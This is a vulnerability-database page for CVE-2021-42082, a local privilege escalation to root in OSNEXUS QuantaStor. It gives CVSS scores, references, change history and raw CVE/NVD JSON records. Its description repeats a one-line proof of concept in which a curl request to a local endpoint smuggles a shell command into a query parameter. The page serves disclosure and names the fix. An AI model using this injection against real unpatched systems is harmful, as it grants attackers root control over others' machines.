CVE-2021-42082 - Vulnerability Details - OpenCVE

Local users are able to execute scripts under root privileges. POC On the local host run the following command: curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'

No CVSS v4.0

Attack Vector Local

Attack Complexity Low

Privileges Required Low

Scope Unchanged

Confidentiality Impact High

Integrity Impact High

Availability Impact High

User Interaction None

No CVSS v3.0

No CVSS v2

This CVE is not in the KEV list.

Exploitation none

Automatable no

Technical Impact total

Vendors	Products
Osnexus	Quantastor

Configuration 1 [-]

cpe:2.3:a:osnexus:quantastor:*:*:*:*:*:*:*:*

No data.

References

Link	Providers
https://csirt.divd.nl/CVE-2021-42082
https://csirt.divd.nl/DIVD-2021-00020/
https://www.divd.nl/DIVD-2021-00020
https://www.osnexus.com/products/software-defined-storage
https://www.wbsec.nl/osnexus

History

Mon, 22 Sep 2025 06:45:00 +0000

Type	Values Removed	Values Added
Description	Local users are able to execute scripts under root privileges.	Local users are able to execute scripts under root privileges. POC On the local host run the following command: curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'

Fri, 22 Nov 2024 12:00:00 +0000

Type	Values Removed	Values Added
References		https://www.divd.nl/DIVD-2021-00020

Tue, 12 Nov 2024 15:15:00 +0000

Type	Values Removed	Values Added
Metrics		ssvc `{'options': {'Automatable': 'no', 'Exploitation': 'none', 'Technical Impact': 'total'}, 'version': '2.0.3'}`

Wed, 16 Oct 2024 12:30:00 +0000

Type	Values Removed	Values Added
References	https://www.divd.nl/DIVD-2021-00020

Wed, 16 Oct 2024 12:00:00 +0000

Type	Values Removed	Values Added
References		https://csirt.divd.nl/DIVD-2021-00020/
Metrics	cvssV3_1 `{'score': 7.1, 'vector': 'CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N'}`	cvssV3_1 `{'score': 7.8, 'vector': 'CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H'}`

MITRE

Status: PUBLISHED

Assigner: DIVD

Published: 2023-07-10T06:29:47.984Z

Updated: 2025-09-22T06:40:10.543Z

Reserved: 2021-10-07T17:12:57.678Z

Link: CVE-2021-42082

Vulnrichment

Updated: 2024-08-04T03:22:25.967Z

NVD

Status : Modified

Published: 2023-07-10T16:15:47.637

Modified: 2025-09-22T07:15:39.840

Link: CVE-2021-42082

Redhat

No data.

{"dataType": "CVE_RECORD", "dataVersion": "5.1", "cveMetadata": {"cveId": "CVE-2021-42082", "assignerOrgId": "b87402ff-ae37-4194-9dae-31abdbd6f217", "state": "PUBLISHED", "assignerShortName": "DIVD", "dateReserved": "2021-10-07T17:12:57.678Z", "datePublished": "2023-07-10T06:29:47.984Z", "dateUpdated": "2025-09-22T06:40:10.543Z"}, "containers": {"cna": {"affected": [{"collectionURL": "https://www.osnexus.com/downloads", "defaultStatus": "unknown", "platforms": ["Windows", "Linux"], "product": "QuantaStor", "vendor": "OSNEXUS", "versions": [{"lessThan": "6.0.0.355", "status": "affected", "version": "0", "versionType": "semver"}]}], "credits": [{"lang": "en", "type": "finder", "user": "00000000-0000-4000-9000-000000000000", "value": "Wietse Boonstra (DIVD)"}, {"lang": "en", "type": "analyst", "value": "Frank Breedijk (DIVD)"}, {"lang": "en", "type": "analyst", "value": "Victor Pasman (DIVD)"}, {"lang": "en", "type": "analyst", "value": "Victor Gevers (DIVD)"}, {"lang": "en", "type": "analyst", "value": "Max van der Horst (DIVD)"}, {"lang": "en", "type": "analyst", "value": "C\u00e9listine Oosting (DIVD)"}], "descriptions": [{"lang": "en", "supportingMedia": [{"base64": false, "type": "text/html", "value": "Local users are able to execute scripts under root privileges.<br><br>POC<br><br>On the local host run the following command:<br><br><span style=\"background-color: rgba(29, 28, 29, 0.04);\">curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'</span><br>"}], "value": "Local users are able to execute scripts under root privileges.\n\nPOC\n\nOn the local host run the following command:\n\ncurl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'"}], "metrics": [{"cvssV3_1": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "format": "CVSS", "scenarios": [{"lang": "en", "value": "GENERAL"}]}], "problemTypes": [{"descriptions": [{"cweId": "CWE-269", "description": "CWE-269 Improper Privilege Management", "lang": "en", "type": "CWE"}]}], "providerMetadata": {"orgId": "b87402ff-ae37-4194-9dae-31abdbd6f217", "shortName": "DIVD", "dateUpdated": "2025-09-22T06:40:10.543Z"}, "references": [{"tags": ["third-party-advisory", "technical-description", "exploit"], "url": "https://www.wbsec.nl/osnexus"}, {"tags": ["third-party-advisory"], "url": "https://csirt.divd.nl/DIVD-2021-00020/"}, {"tags": ["product"], "url": "https://www.osnexus.com/products/software-defined-storage"}, {"tags": ["third-party-advisory", "technical-description", "exploit"], "url": "https://csirt.divd.nl/CVE-2021-42082"}], "solutions": [{"lang": "en", "supportingMedia": [{"base64": false, "type": "text/html", "value": "Upgrade to the latest version of OSNEXUS QuantaStor."}], "value": "Upgrade to the latest version of OSNEXUS QuantaStor."}], "source": {"discovery": "INTERNAL"}, "title": "Local Privilege Escalation to root in OSNEXUS QuantaStor before 6.0.0.355", "x_generator": {"engine": "Vulnogram 0.1.0-dev"}}, "adp": [{"providerMetadata": {"orgId": "af854a3a-2127-422b-91ae-364da2661108", "shortName": "CVE", "dateUpdated": "2024-08-04T03:22:25.967Z"}, "title": "CVE Program Container", "references": [{"url": "https://www.wbsec.nl/osnexus", "tags": ["third-party-advisory", "x_transferred"]}, {"url": "https://www.divd.nl/DIVD-2021-00020", "tags": ["third-party-advisory", "x_transferred"]}, {"url": "https://www.osnexus.com/products/software-defined-storage", "tags": ["product", "x_transferred"]}, {"url": "https://csirt.divd.nl/CVE-2021-42082", "tags": ["third-party-advisory", "x_transferred"]}]}, {"metrics": [{"other": {"type": "ssvc", "content": {"timestamp": "2024-11-12T14:16:04.030763Z", "id": "CVE-2021-42082", "options": [{"Exploitation": "none"}, {"Automatable": "no"}, {"Technical Impact": "total"}], "role": "CISA Coordinator", "version": "2.0.3"}}}], "title": "CISA ADP Vulnrichment", "providerMetadata": {"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "shortName": "CISA-ADP", "dateUpdated": "2024-11-12T14:16:12.694Z"}}]}}

{"dataType": "CVE_RECORD", "containers": {"adp": [{"title": "CVE Program Container", "references": [{"url": "https://www.wbsec.nl/osnexus", "tags": ["third-party-advisory", "x_transferred"]}, {"url": "https://www.divd.nl/DIVD-2021-00020", "tags": ["third-party-advisory", "x_transferred"]}, {"url": "https://www.osnexus.com/products/software-defined-storage", "tags": ["product", "x_transferred"]}, {"url": "https://csirt.divd.nl/CVE-2021-42082", "tags": ["third-party-advisory", "x_transferred"]}], "providerMetadata": {"orgId": "af854a3a-2127-422b-91ae-364da2661108", "shortName": "CVE", "dateUpdated": "2024-08-04T03:22:25.967Z"}}, {"title": "CISA ADP Vulnrichment", "metrics": [{"other": {"type": "ssvc", "content": {"id": "CVE-2021-42082", "role": "CISA Coordinator", "options": [{"Exploitation": "none"}, {"Automatable": "no"}, {"Technical Impact": "total"}], "version": "2.0.3", "timestamp": "2024-11-12T14:16:04.030763Z"}}}], "providerMetadata": {"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "shortName": "CISA-ADP", "dateUpdated": "2024-11-12T14:16:08.145Z"}}], "cna": {"title": "Local Privilege Escalation to root in OSNEXUS QuantaStor before 6.0.0.355", "source": {"discovery": "INTERNAL"}, "credits": [{"lang": "en", "type": "finder", "user": "00000000-0000-4000-9000-000000000000", "value": "Wietse Boonstra (DIVD)"}, {"lang": "en", "type": "analyst", "value": "Frank Breedijk (DIVD)"}, {"lang": "en", "type": "analyst", "value": "Victor Pasman (DIVD)"}, {"lang": "en", "type": "analyst", "value": "Victor Gevers (DIVD)"}, {"lang": "en", "type": "analyst", "value": "Max van der Horst (DIVD)"}, {"lang": "en", "type": "analyst", "value": "C\u00e9listine Oosting (DIVD)"}], "metrics": [{"format": "CVSS", "cvssV3_1": {"scope": "UNCHANGED", "version": "3.1", "baseScore": 7.8, "attackVector": "LOCAL", "baseSeverity": "HIGH", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "integrityImpact": "HIGH", "userInteraction": "NONE", "attackComplexity": "LOW", "availabilityImpact": "HIGH", "privilegesRequired": "LOW", "confidentialityImpact": "HIGH"}, "scenarios": [{"lang": "en", "value": "GENERAL"}]}], "affected": [{"vendor": "OSNEXUS", "product": "QuantaStor", "versions": [{"status": "affected", "version": "0", "lessThan": "6.0.0.355", "versionType": "semver"}], "platforms": ["Windows", "Linux"], "collectionURL": "https://www.osnexus.com/downloads", "defaultStatus": "unknown"}], "solutions": [{"lang": "en", "value": "Upgrade to the latest version of OSNEXUS QuantaStor.", "supportingMedia": [{"type": "text/html", "value": "Upgrade to the latest version of OSNEXUS QuantaStor.", "base64": false}]}], "references": [{"url": "https://www.wbsec.nl/osnexus", "tags": ["third-party-advisory", "technical-description", "exploit"]}, {"url": "https://csirt.divd.nl/DIVD-2021-00020/", "tags": ["third-party-advisory"]}, {"url": "https://www.osnexus.com/products/software-defined-storage", "tags": ["product"]}, {"url": "https://csirt.divd.nl/CVE-2021-42082", "tags": ["third-party-advisory", "technical-description", "exploit"]}], "x_generator": {"engine": "Vulnogram 0.1.0-dev"}, "descriptions": [{"lang": "en", "value": "Local users are able to execute scripts under root privileges.\n\nPOC\n\nOn the local host run the following command:\n\ncurl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'", "supportingMedia": [{"type": "text/html", "value": "Local users are able to execute scripts under root privileges.<br><br>POC<br><br>On the local host run the following command:<br><br><span style=\"background-color: rgba(29, 28, 29, 0.04);\">curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'</span><br>", "base64": false}]}], "problemTypes": [{"descriptions": [{"lang": "en", "type": "CWE", "cweId": "CWE-269", "description": "CWE-269 Improper Privilege Management"}]}], "providerMetadata": {"orgId": "b87402ff-ae37-4194-9dae-31abdbd6f217", "shortName": "DIVD", "dateUpdated": "2025-09-22T06:40:10.543Z"}}}, "cveMetadata": {"cveId": "CVE-2021-42082", "state": "PUBLISHED", "dateUpdated": "2025-09-22T06:40:10.543Z", "dateReserved": "2021-10-07T17:12:57.678Z", "assignerOrgId": "b87402ff-ae37-4194-9dae-31abdbd6f217", "datePublished": "2023-07-10T06:29:47.984Z", "assignerShortName": "DIVD"}, "dataVersion": "5.1"}

{"configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:osnexus:quantastor:*:*:*:*:*:*:*:*", "matchCriteriaId": "5E101217-36C7-4C28-8C61-7744481D2D0E", "versionEndExcluding": "6.0.0.355", "vulnerable": true}], "negate": false, "operator": "OR"}]}], "cveTags": [], "descriptions": [{"lang": "en", "value": "Local users are able to execute scripts under root privileges.\n\nPOC\n\nOn the local host run the following command:\n\ncurl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'"}], "id": "CVE-2021-42082", "lastModified": "2025-09-22T07:15:39.840", "metrics": {"cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 1.8, "impactScore": 5.9, "source": "csirt@divd.nl", "type": "Secondary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 1.8, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary"}]}, "published": "2023-07-10T16:15:47.637", "references": [{"source": "csirt@divd.nl", "tags": ["Third Party Advisory"], "url": "https://csirt.divd.nl/CVE-2021-42082"}, {"source": "csirt@divd.nl", "url": "https://csirt.divd.nl/DIVD-2021-00020/"}, {"source": "csirt@divd.nl", "tags": ["Product"], "url": "https://www.osnexus.com/products/software-defined-storage"}, {"source": "csirt@divd.nl", "tags": ["Third Party Advisory"], "url": "https://www.wbsec.nl/osnexus"}, {"source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Third Party Advisory"], "url": "https://csirt.divd.nl/CVE-2021-42082"}, {"source": "af854a3a-2127-422b-91ae-364da2661108", "url": "https://www.divd.nl/DIVD-2021-00020"}, {"source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Product"], "url": "https://www.osnexus.com/products/software-defined-storage"}, {"source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Third Party Advisory"], "url": "https://www.wbsec.nl/osnexus"}], "sourceIdentifier": "csirt@divd.nl", "vulnStatus": "Modified", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-269"}], "source": "csirt@divd.nl", "type": "Secondary"}, {"description": [{"lang": "en", "value": "CWE-269"}], "source": "nvd@nist.gov", "type": "Primary"}]}